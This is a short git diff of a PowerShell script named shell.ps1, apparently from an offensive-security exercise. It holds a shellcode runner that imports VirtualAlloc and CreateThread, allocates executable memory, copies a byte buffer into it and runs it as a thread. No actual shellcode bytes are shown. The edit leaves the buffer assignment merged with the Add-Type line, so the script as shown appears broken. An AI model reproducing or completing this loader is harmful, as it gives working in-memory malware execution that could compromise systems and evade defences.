diff --git a/8/shell.ps1 b/8/shell.ps1 index ca25054..512c233 100644 --- a/8/shell.ps1 +++ b/8/shell.ps1 @@ -1,4 +1,4 @@ -$Shell = "" +[Byte[]] $buf = Add-Type @" public class Win { @@ -12,7 +12,6 @@ public class Win public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ -[Byte[]] $buf = $Shell [IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) $thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)